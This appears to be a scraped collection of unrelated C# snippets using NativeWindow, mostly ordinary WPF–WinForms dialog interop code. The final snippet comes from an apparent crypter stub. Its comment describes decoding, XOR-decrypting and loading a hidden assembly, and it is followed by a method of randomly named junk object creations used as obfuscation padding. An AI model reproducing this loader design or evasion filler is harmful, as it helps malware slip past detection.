public bool ShowDialog(ref Color?wpfColor) { var wpfMainWindowHandle = new WindowInteropHelper(Application.Current.MainWindow).Handle; var win32Parent = new System.Windows.Forms.NativeWindow(); win32Parent.AssignHandle(wpfMainWindowHandle); var colorDialog = new System.Windows.Forms.ColorDialog(); if (wpfColor != null) { colorDialog.Color = System.Drawing.Color.FromArgb( wpfColor.Value.A, wpfColor.Value.R, wpfColor.Value.G, wpfColor.Value.B); } var dialogResult = colorDialog.ShowDialog(win32Parent); var result = false; if (dialogResult == System.Windows.Forms.DialogResult.OK) { var drawingColor = colorDialog.Color; wpfColor = Color.FromArgb(drawingColor.A, drawingColor.R, drawingColor.G, drawingColor.B); result = true; } return(result); }
private System.Windows.Forms.IWin32Window GetWinFormsIWin32WindowFromWpfWindow(Window window) { var windowHandle = (new System.Windows.Interop.WindowInteropHelper(window)).Handle; var win32Window = new System.Windows.Forms.NativeWindow(); win32Window.AssignHandle(windowHandle); return(win32Window); }
private void accept_Click(object sender, RoutedEventArgs e) { string name = nameTextBox.Text; DateTime born = birthday.Value; MyWindowsFormsLibrary.BirthdayDetails dlg = new MyWindowsFormsLibrary.BirthdayDetails(); dlg.SetDetails(name + " was born on " + born.ToLongDateString()); WindowInteropHelper helper = new WindowInteropHelper(this); System.Windows.Forms.NativeWindow nw = new System.Windows.Forms.NativeWindow(); nw.AssignHandle(helper.Handle); dlg.Show(nw); }
/// <summary> /// Initializes a new instance of the <see cref="WebBrowserShowHelpEventArgs"/> class. /// </summary> /// <param name="window">The window.</param> /// <param name="helpFile">The help file.</param> /// <param name="helpType">Type of the help.</param> /// <param name="data">The aditional help data.</param> /// <param name="mousePosition">The mouse position.</param> /// <param name="objectHit">The object hit.</param> internal WebBrowserShowHelpEventArgs( System.Windows.Forms.NativeWindow window, string helpFile, WebBrowserHelpTypes helpType, uint data, System.Drawing.Point mousePosition, object objectHit) : base() { this.Window = window; this.HelpFile = helpFile; this.HelpType = helpType; this.Data = data; this.MousePosition = mousePosition; this.ObjectHit = objectHit; this.Handled = false; }
private void AddFolder() { var openFolderDialog = new System.Windows.Forms.FolderBrowserDialog() { ShowNewFolderButton = false, Description = Resources.Strings.AddFolderDescription, }; var win32Window = new System.Windows.Forms.NativeWindow(); win32Window.AssignHandle(new System.Windows.Interop.WindowInteropHelper(Application.Current.MainWindow).Handle); if (openFolderDialog.ShowDialog(win32Window) == System.Windows.Forms.DialogResult.OK) { var paths = System.IO.SafeDirectory.SafeEnumerateFiles(openFolderDialog.SelectedPath, "*.exe", System.IO.SearchOption.AllDirectories); this.AddPaths(paths); } }
/// <summary> /// Initializes a new instance of the <see cref="WebBrowserShowMessageEventArgs"/> class. /// </summary> /// <param name="window">The owner window.</param> /// <param name="text">The text for the message box.</param> /// <param name="caption">The caption for the message box.</param> /// <param name="buttons">The message box buttons.</param> /// <param name="icon">The message box icons.</param> /// <param name="helpFile">The Help file name.</param> /// <param name="helpContext">The Help context identifier.</param> internal WebBrowserShowMessageEventArgs( System.Windows.Forms.NativeWindow window, string text, string caption, System.Windows.Forms.MessageBoxButtons buttons, System.Windows.Forms.MessageBoxIcon icon, string helpFile, uint helpContext) : base() { this.Window = window; this.Text = text; this.Caption = caption; this.Buttons = buttons; this.Icon = icon; this.HelpFile = helpFile; this.HelpContext = helpContext; this.Result = System.Windows.Forms.DialogResult.None; this.Handled = false; }
// Displays the object property window private void ResultGrid_MouseDoubleClick(object sender, MouseButtonEventArgs e) { var selected = GetFirstSelected(); if (selected != null) { HWNDWrapper mww; try { // Try with a Maya host first System.Windows.Forms.NativeWindow wnd = Runtime.MayaApplication.MainWindow; IntPtr mwh = MDockingStation.GetMayaMainWindow(); mww = new HWNDWrapper(mwh); } catch { // We are in standalone mode (WPF application) IntPtr mwh = new System.Windows.Interop.WindowInteropHelper(Application.Current.MainWindow).Handle; mww = new HWNDWrapper(mwh); } Form1 t = new Form1(selected); t.ShowDialog(mww); } }
/* What this stub does: * ---> Gets library key file data * ---> Get library file data * ---> Decodes library -> b64 * ---> Decrypts library -> xor * ---> Loads assembly * ---> Invokes { class.void } */ void YjsMv(System.Windows.Forms.DrawToolTipEventArgs oKqQOv) { System.Web.Security.RoleManagerModule NnQQxZQ = new System.Web.Security.RoleManagerModule(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId lMsgpe = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId(); System.ComponentModel.TypeConverterAttribute nLj = new System.ComponentModel.TypeConverterAttribute("drkXnUnJhWFwf"); System.Net.CredentialCache geTig = new System.Net.CredentialCache(); System.Web.HttpCompileException alxHnc = new System.Web.HttpCompileException("UiEiZ", new System.Exception()); System.Web.UI.WebControls.TableCell vcQBTfO = new System.Web.UI.WebControls.TableCell(); System.CodeDom.CodeTypeMember vFPMu = new System.CodeDom.CodeTypeMember(); System.Web.UI.WebControls.FontNamesConverter XgGWei = new System.Web.UI.WebControls.FontNamesConverter(); System.Web.HttpCookieCollection osBP = new System.Web.HttpCookieCollection(); System.Windows.Forms.NativeWindow ALZ = new System.Windows.Forms.NativeWindow(); System.Globalization.HebrewCalendar VNfgivs = new System.Globalization.HebrewCalendar(); System.Security.Cryptography.SHA256Managed QgqhE = new System.Security.Cryptography.SHA256Managed(); System.StackOverflowException ZsrNpa = new System.StackOverflowException("topngxhg", new System.Exception()); System.Runtime.CompilerServices.IndexerNameAttribute ULAbnhF = new System.Runtime.CompilerServices.IndexerNameAttribute("rijUNSSShlVcWRqIb"); System.Runtime.CompilerServices.NativeCppClassAttribute katJkXs = new System.Runtime.CompilerServices.NativeCppClassAttribute(); System.ComponentModel.Design.CheckoutException cagCAsm = new System.ComponentModel.Design.CheckoutException(); System.ComponentModel.UInt64Converter CUsA = new System.ComponentModel.UInt64Converter(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri wfDiyM = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri("Pqslfldqdvk"); System.Web.Configuration.ClientTargetCollection bTPD = new System.Web.Configuration.ClientTargetCollection(); System.Security.SecureString aYUhbe = new System.Security.SecureString(); System.Windows.Forms.UpDownEventArgs ZBnnQ = new System.Windows.Forms.UpDownEventArgs(31195626); System.Text.EncoderExceptionFallbackBuffer xdZhjn = new System.Text.EncoderExceptionFallbackBuffer(); System.Reflection.InvalidFilterCriteriaException kYr = new System.Reflection.InvalidFilterCriteriaException("zcblTWNdrOfLQic"); System.ComponentModel.Design.DesigntimeLicenseContext cPtkpz = new System.ComponentModel.Design.DesigntimeLicenseContext(); System.ComponentModel.DecimalConverter eDy = new System.ComponentModel.DecimalConverter(); System.Web.Configuration.AdapterDictionary CnfaYLB = new System.Web.Configuration.AdapterDictionary(); System.Web.Configuration.HttpCookiesSection PjAiSDc = new System.Web.Configuration.HttpCookiesSection(); System.Web.UI.WebControls.View tLTbUfG = new System.Web.UI.WebControls.View(); System.Security.AccessControl.PrivilegeNotHeldException YkIDY = new System.Security.AccessControl.PrivilegeNotHeldException(); System.Web.UI.HiddenFieldPageStatePersister SdBpR = new System.Web.UI.HiddenFieldPageStatePersister(new System.Web.UI.Page()); System.Windows.Forms.ColumnClickEventArgs DIlHu = new System.Windows.Forms.ColumnClickEventArgs(986016714); System.CodeDom.CodeMemberProperty CBEMisW = new System.CodeDom.CodeMemberProperty(); System.Security.HostProtectionException OAy = new System.Security.HostProtectionException("lpGrG", new System.Exception()); System.Web.UI.WebControls.MenuItemBinding FKHqdt = new System.Web.UI.WebControls.MenuItemBinding(); }